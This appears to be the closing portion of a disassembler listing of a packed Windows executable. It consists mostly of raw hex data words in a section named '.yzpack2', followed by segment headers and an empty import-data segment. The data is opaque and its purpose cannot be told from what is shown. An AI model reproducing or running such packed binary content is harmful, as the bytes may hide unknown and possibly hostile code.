		dd 50142418h, 11088DCCh, 0F80910C3h, 45F022C2h,	0E40103E8h
		dd 9E01132h, 48D024DCh,	22B891C4h, 8CA044ACh, 68127889h
		dd 30486024h, 20292891h, 0DE20B840h, 1C4668AFh,	9186451h
		dd 8D084814h, 9161C1FCh, 0E422F009h, 89D8DC44h,	24D012D4h
		dd 91C848CCh, 44B822C0h, 9C89A8B0h, 84249012h, 70917C48h
		dd 60446822h, 58924050h, 39820A1h, 50192244h, 40094864h
		dd 38A36854h, 33F49EE4h, 0A424212Ch, 1C33FC9Eh,	9221421h
		dd 0FC04440Ch, 8AF4C040h, 0F019144Dh, 991E821h,	93D022DCh
		dd 0C0CC4224h, 0E2EF286Ch, 0B8662C6Ch, 4409B011h, 9889A0A8h
		dd 8C249012h, 84918848h, 54918022h, 0D44C2475h,	74A87852h
		dd 60C65499h, 0AC585219h, 48480964h, 348894F0h,	9381166h
		dd 8A283044h, 1C677844h, 9CC90C11h, 19046280h, 0E807BFF8h
		dd 0D48CB149h, 9D01199h, 29C412CCh, 0B0679C14h,	0B749A419h
		dd 39A019A4h, 94099198h, 8CA3B048h, 4C84193Ah, 0E04ABEB8h
		dd 613870A0h, 623BF073h, 6B67796Ch, 8ED7821h, 69E96FE5h
		dd 681922FBh, 6BF572F6h, 18BBFCD9h, 2C5071BBh, 3112A56Fh
		dd 2A626402h, 81D05D4h,	8CD0CE8h, 942F3461h, 77290D14h
		dd 80D43E7Ah, 3409143Dh, 0C421E0Ah, 6DCD116Fh, 47180BAFh
		dd 65884410h, 0D0E2D8DFh, 0A59F7410h, 0F6EDBDCh, 5F6E096Dh
		dd 6C734610h, 9174752Fh, 63DD6913h, 66644F7Ah, 106BD4FDh
		dd 0AC786513h, 34E99DE8h, 424F563Ch, 7111630Ch,	7A363777h
		dd 0BE2C0D48h, 22F575E2h, 43A25A0Ch, 7429116Fh,	0F881C32h
		dd 6B324208h, 8C383930h, 74B855BCh, 0A6D6524h, 9019645Bh
		dd 7F25FB63h, 34C824EFh, 0AAF0340Ch, 7B6DE90Eh,	7886EFE5h
		dd 75AB8350h, 0DE9CD1FEh, 0C2846C68h, 0C5AE7472h, 25708099h
		dd 408144Ah, 9C756E18h,	66346560h, 8E111661h, 128E9ACAh
		dd 8FA0814h, 82FA5836h,	35B5252Ch, 39340832h, 0E08E0931h
		dd 457A7263h, 0FB79F704h, 79381610h, 0EE842BF1h, 0F5A94456h
		dd 0CA2A4441h, 0C3029C3h, 8E7106Eh, 84081B72h, 11CE0867h
		dd 1B84099Bh, 50F66119h, 0C2647770h, 820EC45h, 0ECA3288Ch
		dd 3F105BEDh, 4620DA84h, 2B40410Ch, 0DA096E86h,	855C1911h
		dd 7E252048h, 1C15B6A6h, 6F445C09h, 580C7563h, 449D731Ch
		dd 0BF537A18h, 5CFAFEC4h, 0DA6C4138h, 0A57A6CF2h, 62683D21h
		dd 95413DEEh, 2F084171h, 0A573715Ch, 636AF478h,	14E8C318h
		dd 127042F3h, 6E28299Ch, 36D22015h, 0EABD9958h,	0A5BD1394h
		dd 87630C2Ch, 1C1048B4h, 20885514h, 23E36623h, 31FF78B0h
		dd 1A2A78C4h, 30D6E77h,	0FE647518h, 57DE8AA7h, 5C551E8Fh
		dd 1C49874Dh, 0B9D39F48h, 633779ACh, 439D8965h,	60BF6CF5h
		dd 0ED7B014Dh, 0D2421A4h, 37C17161h, 69630D10h,	10352673h
		dd 0B16D62DCh, 70CC3FB0h, 8DBAC4Ch, 67C99DDh, 79972C24h
		dd 538CA66Dh, 0A664144Ch, 0A3677810h, 34284CB2h, 0A4707514h
		dd 0FC4AA390h, 59A37E9Ah, 79723C14h, 686B3628h,	8A0884F4h
		dd 4C884338h, 0EA9256CCh, 0AC37E052h, 891854FEh, 6F91B375h
		dd 75313284h, 3449CCABh, 629490E8h, 88726246h, 759C9C12h
		dd 659508A9h, 30B441A4h, 40A96BBFh, 2374FD70h, 6F6A0918h
		dd 88001A68h, 624718B6h, 66C4E88Ah, 41B75B99h, 46794F2Eh
		dd 0BA94E362h, 57E76855h, 0B41F5130h, 55985B4h,	0E0476803h
		dd 5720CEAh, 64FF6908h
		dd 0B704CD88h, 88ED0802h, 74155C47h, 0CD3E3099h, 7524340Dh
		dd 0BFD77845h, 638BF09Eh, 48CADE76h, 0B2C2DA6Dh, 73082471h
		dd 0C5F21574h, 370CA773h, 731C5AF8h, 82436FCBh,	4C10D12Ch
		dd 2031031Bh, 790A0D2Dh, 479F8C10h, 0F92D92E4h,	5F54B247h
		dd 669D431Fh, 4815F07Ch, 0D93816BFh, 0D10D3698h, 0E633DD78h
		dd 66FCD2E4h, 3178687Ah, 4AFE34F4h, 0F71284DBh,	60273AA6h
		dd 7264422Eh, 0BBE77877h, 0A628574Ah, 0A42D4353h, 0E5279310h
		dd 0F76C77ABh, 0C2C8FA35h, 81161192h, 0B22B33DBh, 0AAA8851Ch
		dd 28B688B8h, 98032C56h, 97E3A029h, 34150E16h, 404C3532h
		dd 4CA51292h, 860D23Eh,	700949E8h, 201C3735h, 78A92F22h
		dd 7402380Ah, 60C7506Ah, 883D0B85h, 52A05008h, 33CA3CB2h
		dd 64F46E50h, 944E33A2h, 14858829h, 0A48D2044h,	69A72C09h
		dd 319AA851h, 75301A1Ah, 101BCC1Ah, 0E4B2515Eh,	505446F0h
		dd 6DE774F9h, 0B9C2F6E5h, 0BF9E14DDh, 0AC30BCC9h, 2148FC05h
		dd 3205705Eh, 78186B04h, 5DE91065h, 587E0F29h, 0BC4C8CF4h
		dd 0BA01C5B1h, 9FE86A56h, 0E98A7428h, 0F4B79346h, 962F763h
		dd 54A2AC43h, 15218C9Dh, 0EB030E7Bh, 1C11B915h,	722F181h
		dd 3174805Eh, 0F9E200FFh, 0E82505EBh, 90DBE6h, 8B64DB33h
		dd 72B73043h, 1C701EA1h, 87883ADh, 2B4F45E8h, 5F1F6DECh
		dd 3B5C4F3Ch, 0BFDF03E7h, 0D205B46h, 4C3831Eh, 0F79C335Fh
		dd 32ACC9C1h, 5C4C1C8h,	75C00784h, 43CA2BF6h, 0D8A858E9h
		dd 5E39EBD1h, 46243003h, 0E50B8B66h, 10BB1CE9h,	0C7AF52EFh
		dd 0E0FF5B23h, 0A95268EAh, 0E5E42AEBh, 92BA0054h, 0FF84046Eh
		dd 0F8138BD6h, 9AA5EC81h, 7D53B2E3h, 0BA0DA554h, 7CC3B083h
		dd 0B968FA2Ch, 3433B606h, 0D800D472h, 5352106Ah, 303063BAh
		dd 50365A60h, 55E602B4h, 581F1ADCh, 0BF28E250h,	0A5E5EE26h
		dd 57BF5FB4h, 90049CB0h, 4006C2A6h, 7A081450h, 3CA1733Bh
		dd 0D33610C4h, 29425769h, 5FC8C033h, 430AB068h,	32828D54h
		dd 197972h, 27D8166h, 75311171h, 22040EEDh, 0E4AB03BCh
		dd 7E2C6DABh, 1420F0E0h, 0B4EA758Bh, 0C70F1CB4h, 3D045D89h
		dd 0F0500934h, 0C8A51465h, 0CB0F384Dh, 456489F8h, 8E87F8D4h
		dd 75B755B7h, 667922F9h, 0C9DD09E0h, 0E999C5D9h, 3F0DF98Bh
		dd 328F157Ch, 25E1845h,	6A4CBF42h, 0E06EC06Fh, 6BD33DBAh
		dd 1C4AA05Ch, 840F1540h, 0C24388Dh, 117FCBA7h, 270439h
		dd 505F9D69h, 75C8EE23h, 53570241h, 51104D8Dh, 0BA1C1F90h
		dd 0F5BEB908h, 403930CBh, 10A0C5EBh, 9DEE935Ch,	0A0446A80h
		dd 728BE0CAh, 0ABD735FCh, 59660E98h, 83FDE2C6h,	50525271h
		dd 2C774001h, 2694F110h, 0C7FE5807h, 18FFF53h, 18DE3406h
		dd 97213E85h, 27CF5385h, 840C770Ah, 31568540h, 0ECF58607h
		dd 0C16E0C46h, 0A8E30A14h, 0E413E68Bh, 0CC28331Dh, 9221C0Eh
		dd 0CBFC2014h, 0C02F045h, 74D024DCh, 0EEE0138h,	0B7A3DCCCh
		dd 8FAC8011h, 1E2FAC1h,	0FBC9F7BFh, 0C2A387EFh,	38CCE738h
		dd 2052A1D7h, 30C6DC87h, 0C490EAD7h, 84E0B21Dh,	15CF86C9h
		dd 0CDEA054Fh, 0FF2C38D6h, 0FCE8E200h, 92F6B1C3h, 0F0E304B4h
		dd 72B0E6AEh, 4B622472h, 17C49F63h, 0AE30D573h,	58FD9757h
		dd 0C8251BE9h, 9FBB6075h, 0B157FC80h, 0CFEE839Fh, 13B85DAh
		dd 41064909h, 0B1508D7Eh, 0E19B0599h, 38FAF8E2h, 0C853EB1Fh
		dd 0B52F13Ah, 0B901470Eh, 9337993Fh, 0C1C75510h, 70410B78h
		dd 382F7869h, 690C4660h, 7B945510h, 0B3492D38h,	9F2E3753h
		dd 74D3143Ah, 9C129159h, 0F84F173Ah, 20899F8Eh,	0B61C7D2Fh
		dd 5392EA94h, 65AC1CFBh, 3A7139F4h, 0AF60AA5h, 4A22F156h
		dd 0C4FC65DEh, 97A6F0ADh, 0AC481FF9h, 0C57B3C48h, 0A4CC2355h
		dd 43CD6355h, 0CDF1D664h, 0C76F550Ah, 9A86ACF6h, 0C82D1D98h
		dd 2C9E752Ch, 753A74D9h, 9B0B20B4h, 5FB04C68h, 6408AD59h
		dd 0B84A344Ah, 746985E9h, 269124FBh, 1C850CE7h,	92A5F921h
		dd 0F391A98h, 346F4A7Eh, 7F177DC9h, 422E1DB3h, 6DB47402h
		dd 27B6923Bh, 63DB7A37h, 25C54259h, 84CE6FB9h, 45B0885Eh
		dd 735226A6h, 0F0A69BDh, 51F8370Ah, 0CAAEE9D7h,	4BFB2065h
		dd 0B771EC38h, 121A5DE9h, 1FC9CD5Fh, 84FC2570h,	8D7E54F9h
		dd 631643ABh, 0CBC26B8Fh, 86DB6C5Fh, 3FCBD03Ch,	3ABA3AE2h
		dd 14778609h, 0E9218531h, 0C3B77316h, 0BCD24A93h, 5226F4A0h
		dd 52F69948h, 0AF24B845h, 933B205Dh, 0B684DB1h,	0BDB04979h
		dd 0F247ECACh, 0DF9E243Ah, 0DA86691h, 74656B13h, 3D0ABF37h
		dd 417901F7h, 0D07A3633h, 640B3834h, 7666845h, 475367B6h
		dd 3735A152h, 6C5598EFh, 0E133FA44h, 0F746B84Ch, 0D4FDB12Fh
		dd 5C7A5058h, 0C46588CFh, 0CDAE642Eh, 1795FAF8h, 39065CBEh
		dd 6D5BF867h, 0C4B22F52h, 2F913143h, 1121AE93h,	0B4433125h
		dd 5554EA4Fh, 436EB8C4h, 0C54E3B33h, 8DFB61C4h,	0A1023545h
		dd 0B2CF2E1Ah, 44DA9089h, 0D96EF732h, 0D49EA53Ch, 4D67FAE8h
		dd 0B4E72F94h, 7B994667h, 0E949A629h, 228EC21Ch, 35FF8CD2h
		dd 6A7590Dh, 29065640h,	0B02E0ADCh, 3D7B5019h, 0BC70F0FEh
		dd 2E084DAAh, 0E2103050h, 1C724A50h, 85309810h,	5B02330Eh
		dd 5D5E22E7h, 4CA10D08h, 3C2344A3h, 20223421h, 0DC5B04CAh
		dd 17DAAA5Ch, 236129CBh, 66A9E915h, 0B67B8DFDh,	65DE205Eh
		dd 2EF3CB6Eh, 20565FA7h, 3A4549E0h, 17794158h, 1ED8436Fh
		dd 7E505620h, 5475E55Fh, 0EC9BABDEh, 3A8B2CD1h,	8756D0F6h
		dd 5D573C5Ch, 0BC69661Dh, 0F3465A54h, 0CF3712A1h, 7D784449h
		dd 5427478Dh, 13A64AB0h, 0B866AB2Fh, 0B62BF720h, 3D074210h
		dd 43FD4F49h, 36312473h, 5C351C89h, 0E1782961h,	0D14E534Dh
		dd 2AFA4A45h, 49290F2Dh, 6056B944h, 3962892Ch, 63E63138h
		dd 15E0E2BFh, 163223C8h, 74024B2Dh, 20BD72B2h, 37653541h
		dd 30CC38CBh, 4F8964D6h, 0B7A2FEF1h, 42A56BBFh,	2AE94DBAh
		dd 35645003h, 0C6318A63h, 8D0E9DC8h, 5C9D7889h,	0EDDC10A4h
		dd 1E0C637Fh, 2DB15AE0h, 8C11D009h, 851CF439h, 3F496B12h
		dd 0E4814831h, 6129245Fh, 5267F425h, 0EA56B926h, 0F544756Ah
		dd 0CA7E2B1Ch, 6EB141FDh, 0F875AD72h, 0A88BAD71h, 6D2ACACEh
		dd 98577111h, 4FCC6CCAh, 0FE12D366h, 78FA3F1Eh,	971D7453h
		dd 5BABC012h, 6CBB3E7Dh, 5893EE78h, 3C1477C9h, 76CC5666h
		dd 58598B0Ch, 0BBE4882Fh, 0A346548Bh, 64AF446Eh, 368DFE3Fh
		dd 75A302Eh, 2970C5EBh,	4DC40F21h, 347543E0h, 9D2B995Dh
		dd 0C7D82968h, 6D360933h, 514C18A5h, 86D95B78h,	644409E0h
		dd 14508958h, 844010Ah,	34723C64h, 1C1C2839h, 2314478Eh
		dd 0D108910Ch, 140C4301h, 8808D8F8h, 72E4E4F0h,	1CD439DCh
		dd 0FC238ECCh, 10C014C1h, 6408B8CAh, 39A472A8h,	8E901C9Ch
		dd 4C840181h, 8A6800Ch,	70237847h, 60C86891h, 507258E4h
		dd 44474496h, 34913C23h, 24E42CC8h, 34961C72h, 8234E4BFh
		dd 8D48848h, 375CF9AFh,	500FDF11h, 5E30432Fh, 0B25EF4B6h
		dd 383490ECh, 4ED8C864h, 0A675C8DCh, 8C207908h,	0F06A2D45h
		dd 0A5F76E23h, 4CE5FE55h, 797F7311h, 2D1434E1h,	58934359h
		dd 183A37ABh, 31C148D7h, 506B392Eh, 35C90CFFh, 702FCC03h
		dd 6626982h, 0BA9DE95Ah, 0B250D6B3h, 8B16C06h, 6CCD2C2Eh
		dd 7F6BA2B9h, 2D08A165h, 450FAD1Dh, 2D6DA4DCh, 0DD75DC49h
		dd 73084168h, 0C51EAD78h
		dd 70153094h, 28AB3D77h, 0FA1467B5h, 0B864E738h, 0EF3874A5h
		dd 2D985095h, 4EA43A20h, 3A6D599Dh, 51796694h, 840A442h
		dd 5C8BB74Dh, 36E54913h, 0FB951130h, 34F0B464h,	53090850h
		dd 0D137016h, 6A0E1D1Ah, 974A72F9h, 3A65CFD3h, 3E2763CBh
		dd 783A492Fh, 65C59053h, 596C8182h, 6243688Fh, 8E896E73h
		dd 0F39590D0h, 8D34A0FCh, 0C41EC29h, 4BF558BDh,	24E8AFh
		dd 0D2E6E2ADh, 4A9AE3FBh, 87BCF2A9h, 0BAE0F44Ah, 94CFA2h
		dd 11B29A82h, 2B0ED8BCh, 105B18ACh, 9A4AA4ACh, 0C3E0F0A0h
		dd 0BCAE05D0h, 619DADB3h, 206B2310h, 5FE131F8h,	0EFCA801h
		dd 0E2E68E8Bh, 0FAE5FE11h, 55622722h, 9900144Ch, 0BFEFF28Dh
		dd 24B18CA0h, 0FF1084E0h, 1BCF558h, 0A2ECFE87h,	6FA1C7FCh
		dd 0E22E003Dh, 69099EACh, 0E5915F70h, 0BB58E66Ch, 22FEEBE5h
		dd 6B595A97h, 0BF042373h, 9FBBAC70h, 7DE4E22Dh,	1027E76Bh
		dd 4B65D66Eh, 0C1791A2Bh, 94B92120h, 0B0FCD82Fh, 1AD19D38h
		dd 0D7780DB3h, 26336528h, 908F0907h, 0B3D6080h,	9548FDFh
		dd 658E101Bh, 8238FC76h, 72BC19D1h, 3F2E1841h, 5F5D56F0h
		dd 654A74F6h, 4038F1FDh, 204330D6h, 0BD39AB96h,	0D50195C2h
		db 77h,	0CCh, 0
byte_42D3DF	db 0			; DATA XREF: .yzpack2:004211ACo
		dd 0B1Fh dup(0)
dword_43005C	dd 7FE9h dup(0)		; DATA XREF: cAddress:0041A720o
_yzpack2	ends

; Section 4. (virtual address 00050000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00050000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 450000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start